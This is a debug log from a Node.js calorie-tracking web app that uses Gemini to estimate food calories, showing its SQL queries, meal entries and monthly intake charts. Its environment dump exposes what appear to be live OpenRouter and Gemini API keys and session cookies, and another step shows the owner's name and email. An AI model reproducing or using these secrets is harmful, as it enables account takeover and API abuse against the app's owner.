    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '96',
    surplus_or_deficit: '2304',
    status_flag: 2
  }
]
2025-12-19T05:28:08.923Z server-connect:app Executing action step identify
2025-12-19T05:28:08.923Z server-connect:app options: { provider: 'security' }
2025-12-19T05:28:08.923Z server-connect:output identity: 1
2025-12-19T05:29:25.269Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-19T05:29:25.270Z server-connect:app Executing action step identify
2025-12-19T05:29:25.270Z server-connect:app options: { provider: 'security' }
2025-12-19T05:29:25.270Z server-connect:output identity: 1
2025-12-19T05:29:25.270Z server-connect:app Executing action step restrict
2025-12-19T05:29:25.270Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T05:29:25.272Z server-connect:output restrict: undefined
2025-12-19T05:29:25.272Z server-connect:app Executing action step processWithGemini
2025-12-19T05:29:25.272Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-19T05:29:27.057Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Whey Protein',
      quantity: '1 scoop (27g protein)',
      calories_consumed_per_serving: null,
      total_calories: 120,
      protein: 27,
      carbs: 3,
      fat: 1,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent for muscle development, high in protein, low in carbs and fat. Ideal for your goals.'
    }
  ],
  total_macros: {
    protein: { value: 27, unit: 'g' },
    carbs: { value: 3, unit: 'g' },
    fat: { value: 1, unit: 'g' }
  }
}
2025-12-19T05:29:32.236Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-19T05:29:32.237Z server-connect:app Executing action step identify
2025-12-19T05:29:32.237Z server-connect:app options: { provider: 'security' }
2025-12-19T05:29:32.237Z server-connect:output identity: 1
2025-12-19T05:29:32.237Z server-connect:app Executing action step restrict
2025-12-19T05:29:32.237Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T05:29:32.237Z server-connect:output restrict: undefined
2025-12-19T05:29:32.237Z server-connect:app Executing action step condition
2025-12-19T05:29:32.237Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-19T05:29:32.237Z server-connect:app Executing action step repeat
2025-12-19T05:29:32.238Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-19T05:29:32.238Z server-connect:app Executing action step insert
2025-12-19T05:29:32.238Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-19T05:29:32.239Z server-connect:output calories: { affected: 1, identity: 450 }
2025-12-19T05:29:32.239Z server-connect:output repeat: [ {} ]
2025-12-19T05:29:32.239Z server-connect:output condition: undefined
2025-12-19T05:29:32.433Z server-connect:router Serving templateView /calorie-tracker
2025-12-19T05:29:32.434Z server-connect:app Executing action step identify
2025-12-19T05:29:32.434Z server-connect:app options: { provider: 'security' }
2025-12-19T05:29:32.434Z server-connect:output identity: 1
2025-12-19T05:29:32.434Z server-connect:app Executing action step restrict
2025-12-19T05:29:32.434Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-19T05:29:32.434Z server-connect:output restrict: undefined
2025-12-19T05:29:32.434Z server-connect:router Render template layouts/main
2025-12-19T05:29:32.434Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-19T18:03:30.349Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-19T05:29:32.625Z server-connect:app Executing action step identify
2025-12-19T05:29:32.625Z server-connect:app options: { provider: 'security' }
2025-12-19T05:29:32.625Z server-connect:output identity: 1
2025-12-19T05:29:32.938Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-19T05:29:32.940Z server-connect:app Executing action step identify
2025-12-19T05:29:32.940Z server-connect:app options: { provider: 'security' }
2025-12-19T05:29:32.940Z server-connect:output identity: 1
2025-12-19T05:29:32.940Z server-connect:app Executing action step restrict
2025-12-19T05:29:32.940Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T05:29:32.941Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-19T05:29:32.941Z server-connect:output restrict: undefined
2025-12-19T05:29:32.941Z server-connect:app Executing action step select
2025-12-19T05:29:32.941Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-19T05:29:32.944Z server-connect:app Executing action step identify
2025-12-19T05:29:32.944Z server-connect:app options: { provider: 'security' }
2025-12-19T05:29:32.944Z server-connect:output identity: 1
2025-12-19T05:29:32.944Z server-connect:app Executing action step restrict
2025-12-19T05:29:32.944Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T05:29:32.947Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-19T05:29:32.948Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-19T05:29:32.948Z server-connect:output restrict: undefined
2025-12-19T05:29:32.948Z server-connect:app Executing action step single
2025-12-19T05:29:32.948Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-19T05:29:32.949Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-19T05:29:32.949Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-19T05:29:32.950Z server-connect:app Executing action step identify
2025-12-19T05:29:32.950Z server-connect:app options: { provider: 'security' }
2025-12-19T05:29:32.950Z server-connect:output identity: 1
2025-12-19T05:29:32.950Z server-connect:app Executing action step restrict
2025-12-19T05:29:32.950Z server-connect:app options: { provider: 'security' }
2025-12-19T05:29:32.950Z server-connect:output restrict: undefined
2025-12-19T05:29:32.950Z server-connect:app Executing action step single
2025-12-19T05:29:32.950Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-19T05:29:32.951Z server-connect:app Executing action step identify
2025-12-19T05:29:32.951Z server-connect:app options: { provider: 'security' }
2025-12-19T05:29:32.951Z server-connect:output identity: 1
2025-12-19T05:29:32.951Z server-connect:app Executing action step restrict
2025-12-19T05:29:32.951Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T05:29:32.951Z server-connect:output restrict: undefined
2025-12-19T05:29:32.951Z server-connect:app Executing action step single
2025-12-19T05:29:32.951Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-19T05:29:32.952Z server-connect:output summary: undefined
2025-12-19T05:29:32.953Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-19T05:29:32.953Z server-connect:app Executing action step select
2025-12-19T05:29:32.953Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-19T05:29:32.954Z server-connect:output item_list: [
  {
    id: 447,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Walnut',
    calories: 26,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 3,
    quantity: '2 pieces',
    replacements: 'Almonds (slightly lower in calories per nut, good protein),Pistachios (lower calorie per nut, good protein)',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats, protein, and micronutrients. Good for muscle development and overall health.'
  },
  {
    id: 448,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee (natural caffeine source),Green tea (natural caffeine, antioxidants)',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 2,
    skip_reason: "While pre-workouts can boost performance, many contain artificial sweeteners and stimulants. For muscle development, focus on whole foods and adequate sleep. If you feel you need it, ensure it's a reputable brand with minimal additives."
  },
  {
    id: 449,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 3,
    carbs_gm: 5,
    fat_gm: 3,
    quantity: '100 ml',
    replacements: 'Black tea (no milk, no sugar),Green tea (no milk, no sugar),Herbal tea',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 2,
    skip_reason: "Milk tea without sugar is relatively low in calories. However, if you're trying to maximize protein intake and minimize fat, plain black tea or green tea would be even better. The milk adds some calories and fat that might be better sourced from other, more nutrient-dense foods for muscle building."
  },
  {
    id: 450,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle repair overnight),Plant-based protein (pea, rice, soy - often lower in calories and fat, but check protein content)',
    created_at: '2025-12-18T23:59:32.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, high in protein, low in carbs and fat. Ideal for your goals.'
  }
]
2025-12-19T05:29:32.954Z server-connect:app Executing action step setvalue
2025-12-19T05:29:32.954Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-19T05:29:32.954Z server-connect:output var_total: 216
2025-12-19T05:29:32.954Z server-connect:app Executing action step setvalue
2025-12-19T05:29:32.954Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-19T05:29:32.954Z server-connect:output var_consumed: 9
2025-12-19T05:29:32.954Z server-connect:app Executing action step setvalue
2025-12-19T05:29:32.954Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-19T05:29:32.954Z server-connect:output var_deficit: 2184
2025-12-19T05:29:32.954Z server-connect:app Executing action step custom
2025-12-19T05:29:32.954Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-19T05:29:32.955Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
